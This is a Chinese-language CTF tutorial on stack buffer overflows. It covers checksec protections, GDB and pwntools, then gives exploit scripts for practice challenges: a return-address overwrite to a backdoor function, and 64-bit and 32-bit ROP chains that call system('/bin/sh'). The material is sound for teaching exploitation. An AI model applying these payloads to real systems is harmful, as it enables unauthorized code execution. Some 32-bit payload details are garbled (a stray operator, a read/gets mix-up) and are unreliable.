栈溢出
栈溢出
栈溢出(Stack Overflow)是指当一个程序在栈中申请的内存超过了栈的容量限制,导致数据或函数调用信息写入到了栈的非法区域,从而破坏了程序的正常执行。
checksec识别二进制文件信息
选项:
分析一个二进制文件
Relocation Read-Only (RELRO) 此项技术主要针对 GOT 改写的攻击方式。它分为两种,Partial RELRO 和 Full RELRO。部分RELRO 易受到攻击,例如攻击者可以atoi.got为system.plt,进而输入/bin/sh\x00获得shell。完全RELRO 使整个 GOT 只读,从而无法被覆盖,但这样会大大增加程序的启动时间,因为程序在启动之前需要解析所有的符号。
Stack-canary栈保护是一种用于防止缓冲区溢出攻击的安全机制。它通过在程序的栈帧中插入一个特殊的值(称为canary),并在函数返回前检查这个值是否被破坏来工作。
NX(No execute)是一种内存保护机制,用于防止恶意代码在可执行内存区域中运行。它通过将内存页面标记为不可执行来工作,以阻止程序在这些内存区域执行任何指令。栈不可执行
PIE(Position Independent Executable)是一种内存布局安全性增强机制,用于减轻针对可执行文件的攻击。它通过在编译时生成无关代码位置的可执行文件来工作。(开启后,在IDA中将查看不到代码的地址)
RPATH(Run-time PATH)和RUNPATH(Run-time search PATH)是用于指定程序运行时动态链接库搜索路径的机制。
FORTIFY旨在检测和预防常见的编程错误,如缓冲区溢出、格式化字符串漏洞和整数溢出等。它通过将某些函数(如strcpy、sprintf和memcpy等)替换为带有安全检查的版本来工作。这些安全检查会在运行时验证参数是否有效,以防止潜在的缓冲区溢出和其他漏洞。
GDB调试可执行文件
命令:
gdb filename
命令 | 缩写 | 功能 |
---|---|---|
break | b | 设置断点,可以使用行数,也可以使用函数名 |
run | r | 开始运行程序,程序运行到断点会停止,否则一直运行下去 |
next | n | 执行当前语句,如果该语句为函数,不会进入到函数内部 |
step | s | 执行当前语句,如果为函数,会进入到函数内部执行。 |
p | 显示变量的值,例如:p 变量名 | |
continue | c | 程序继续运行,知道下一个断点 |
set var name=value | 设置变量的值 | |
quit | q | 推出gdb环境 |
backtrace<n> | bt<n> | 打印栈顶上n层的栈信息 |
frame<n> | f<n> | 切换到从栈顶往上n层的栈 |
up<n> | 从当前栈上移n层 | |
down<n> | 从当前栈下移n层 | |
info | i | 打印信息。 |
info
info f:打印栈的相关信息
info args:打印当前函数的参数名,及其值
info locals:打印当前函数所用的局部变量及其值
info catch:打印出当前函数中的异常处理信息
info register:打印所有寄存器信息(不包括浮点寄存器和向量寄存器)
info all-register:打印所有寄存器信息
info register 寄存器名:打印指定寄存器信息
disassemble
查看函数的汇编代码
语法:
查看主函数汇编代码:
disassemble main
基于python的pwn库
官方文档:https://docs.pwntools.com/en/latest/intro.html
一个简单的脚本
from pwn import *
def attack(url,port):
address = #后门函数的十六进制地址
c = remote(url,port)
c.sendlineafter('','')#输入
payload =
c.sendline(payload)#输入
c.interactive()
注意:payload应为字节流。定义方式为b'a'*(十六进制数)+p64(后门函数十六进制地址)
p64()
:将整形打包成64位字节流b'a'*()
:创建字节数组对象,每一个元素都是字节而不是字符
名称 | 功能 |
---|---|
remote() | 连接服务器 |
sendlineafter() | 输入,该函数可以定位输入。 |
sendline() | 输入 |
interactive() | 与服务器进行交互 |
recv() | 接受到结束 |
recvuntil(end,drop=True) | 接收到end结束,True不包括end |
recvall() | 接收数据并返回 |
一道简单的例题
使用IDA
首先应该先checksec然后file一下。
反汇编后发现
char buf[]
数组和read()
危险函数,存在栈溢出。
进入数组查看
上图中的r就是存的返回地址,有的文件在r上面还会有s,s存的是父函数的EBP。我们需要覆盖掉r的内容,因此需要0x10+0x8
个字节就能覆盖到r
寻找后门函数
找到其地址
因此这道题的exp:
from pwn import *
address = 0x4006E6
c = remote(url,port)
payload = b'a'*(0x18)+p64(address)
c.sendlineafter('[+]Please input the length of your name:','100')
c.sendline(payload)
c.interactive()
产生交互后直接cat flag
即可
使用GDB调试
首先应该先checksec然后file一下。
反汇编后发现
char buf[]
数组和read()
危险函数,存在栈溢出。进入GDB,先查看一下汇编代码
找到read函数的地址
0x4007c0
,然后设置断点b *0x4007c0
r运行程序。查看栈窗口
找到要覆盖的地址后,还需要找到例题中buf的起始地址,因为buf并没有让输入信息,所以可以从寄存器窗口找找,当然,这里的rsp指向的其实也是buf的起始地址(其他情况不一定)。
0x7fffffffe1b8 - 0x7fffffffe1a0=24
即需要写24位就能覆盖到返回地址。然后就是写脚本
ROP
ROP(Return-Oriented Programming)是一种利用栈溢出漏洞的攻击技术。在栈溢出漏洞中,当一个函数在执行过程中,将数据写入到栈上的缓冲区时,如果没有正确的边界检查,可能会导致溢出。而通过ROP技术,攻击者可以利用这种溢出来控制程序的执行流程。
一个函数通常以ret
命令结尾,即弹出EIP跳转到返回地址。ROP基于该代码片段,使得代码执行流程控制在用户手中。
64位
在这个题中,可以看到存在栈溢出漏洞。原因是buf数组大小只有4,但是read函数却能读0x100
。然而从函数列表中没找到后门函数。
但是发现存在函数
该函数调用了system()
,看到这里,我们肯定也希望调用system()
但是参数是ls
,我们需要的参数是/bin/sh
。
观察
main()
函数汇编代码
可以看到主函数在调用read函数之前,倒序将参数存入到寄存器中。我们只需要把寄存器中的内容替换成我们需要的数据即可。
首先清空寄存器,使用ROPgadget工具寻找汇编指令
# 64位第一个参数存在rdi寄存器中
ROPgadget --binary pwn --only 'pop|ret' | grep "rdi"
也可以使用ropper
ropper -f pwn
在IDA中查找发现
最后还需要知道栈溢出到返回地址有多少位。这里用
IDA
或GDB
都是可以的
0x7fffffffe1d8-0x7fffffffe1b0=40
那么payload就是
# 先清空寄存器
pop_rdi = 0x40126b
# 存入我们需要的数据
bin_sh = 0x402004
# 调用system()函数
sys_addr = 0x401050
payload = b'a'*40 + p64(pop_rdi) + p64(bin_sh) + p64(sys_addr)
32位
32位和64位的传参方式差异很大,使用栈来传递参数。
我们先编译一个c程序:gcc -m32 -o ouput_file input_file
#include<stdio.h>
int add(int a,int b){
return a + b;
}
void main(){
int a = 1;
int b = 2;
int c = add(a,b);
printf("sum:%d",c);
}
查看一下汇编代码:
main()
函数:
Dump of assembler code for function main:
0x000011a4 <+0>: lea ecx,[esp+0x4]
0x000011a8 <+4>: and esp,0xfffffff0
0x000011ab <+7>: push DWORD PTR [ecx-0x4]
0x000011ae <+10>: push ebp
0x000011af <+11>: mov ebp,esp
0x000011b1 <+13>: push ebx
0x000011b2 <+14>: push ecx
0x000011b3 <+15>: sub esp,0x10
0x000011b6 <+18>: call 0x1090 <__x86.get_pc_thunk.bx>
0x000011bb <+23>: add ebx,0x2e39
0x000011c1 <+29>: mov DWORD PTR [ebp-0xc],0x1
0x000011c8 <+36>: mov DWORD PTR [ebp-0x10],0x2
0x000011cf <+43>: push DWORD PTR [ebp-0x10]
0x000011d2 <+46>: push DWORD PTR [ebp-0xc]
0x000011d5 <+49>: call 0x118d <add>
0x000011da <+54>: add esp,0x8
0x000011dd <+57>: mov DWORD PTR [ebp-0x14],eax
0x000011e0 <+60>: sub esp,0x8
0x000011e3 <+63>: push DWORD PTR [ebp-0x14]
0x000011e6 <+66>: lea eax,[ebx-0x1fec]
0x000011ec <+72>: push eax
0x000011ed <+73>: call 0x1040 <printf@plt>
0x000011f2 <+78>: add esp,0x10
0x000011f5 <+81>: nop
0x000011f6 <+82>: lea esp,[ebp-0x8]
0x000011f9 <+85>: pop ecx
0x000011fa <+86>: pop ebx
0x000011fb <+87>: pop ebp
0x000011fc <+88>: lea esp,[ecx-0x4]
0x000011ff <+91>: ret
End of assembler dump.
add()
函数:
Dump of assembler code for function add:
0x0000118d <+0>: push ebp
0x0000118e <+1>: mov ebp,esp
0x00001190 <+3>: call 0x1200 <__x86.get_pc_thunk.ax>
0x00001195 <+8>: add eax,0x2e5f
0x0000119a <+13>: mov edx,DWORD PTR [ebp+0x8]
0x0000119d <+16>: mov eax,DWORD PTR [ebp+0xc]
0x000011a0 <+19>: add eax,edx
0x000011a2 <+21>: pop ebp
0x000011a3 <+22>: ret
End of assembler dump.
先看main()
函数,在调用add()
函数之前先把参数压入栈中。
0x000011cf <+43>: push DWORD PTR [ebp-0x10]
0x000011d2 <+46>: push DWORD PTR [ebp-0xc]
0x000011d5 <+49>: call 0x118d <add>
此时的栈结构应该是这样的:
这里解释一下上图中的return address
:执行到 call
指令时,程序会跳转到目标函数的入口地址,并将 call
指令的下一条指令的地址(返回地址)压入栈中。
现在我们可以假设以下情景:通过ROP让程序执行 gets函数,并接收一个字符串赋值到 bss 段,bss段存放的是全局变量的数据段,可利用此数据段作为 system函数的传入参数。
那么payload就为:
gets_add = #gets函数的地址
bss_add = #bss段的地址
sys_add = #system()函数的地址
payload = p32(gets_add) + p32(sys_add) + p32(bss_add) + p32(bss_add)
payload执行流程:
p32(gets_add)
执行gets()
函数,而gets_add
指向一个gets函数的plt表。此时plt表结构如下:
名称 | 内容 |
---|---|
sys_add | gets函数的返回地址即system()函数的地址 |
bss_add | gets函数的参数1 |
bss_add | gets函数的参数2 |
在执行完
gets()
函数之后进入到system()
函数中,system会进入它的plt表中执行。此时system()
函数的plt表结构如下:
名称 | 内容 |
---|---|
bss_add | system函数的返回地址 |
bss_add | system函数的参数 |
我们也可以使用pop命令
对栈进行操作
ropper -f 文件名
因为gets传入一个参数,那么我们选取pop一个数据的命令(0x40126b)即可。
此时的payload就是:
gets_add = #gets函数的地址
bss_add = #bss段的地址
sys_add = #system()函数的地址
payload = p32(gets_add) + p32(0x40126b) + p32(bss_add) + p32(sys_add) + + p32(0) + p32(bss_add)
首先会进行read,然后清空read的参数之后的plt表为
名称 | 内容 |
---|---|
sys_add | read的返回地址 |
p32(0) | read第一个参数 |
p32(bss_add) | read第二个参数 |
随后进入system()
函数,此时system()
函数的plt表的内容为:
名称 | 内容 |
---|---|
p32(0) | system()函数的返回地址 |
p32(bss_add) | system()的参数 |
总结
32位payload的形式:
目标函数地址+pop命令地址+参数+目标函数地址+返回地址+参数+......
64位payload的形式:
pop命令地址+参数+目标函数+pop命令地址+参数+目标函数+......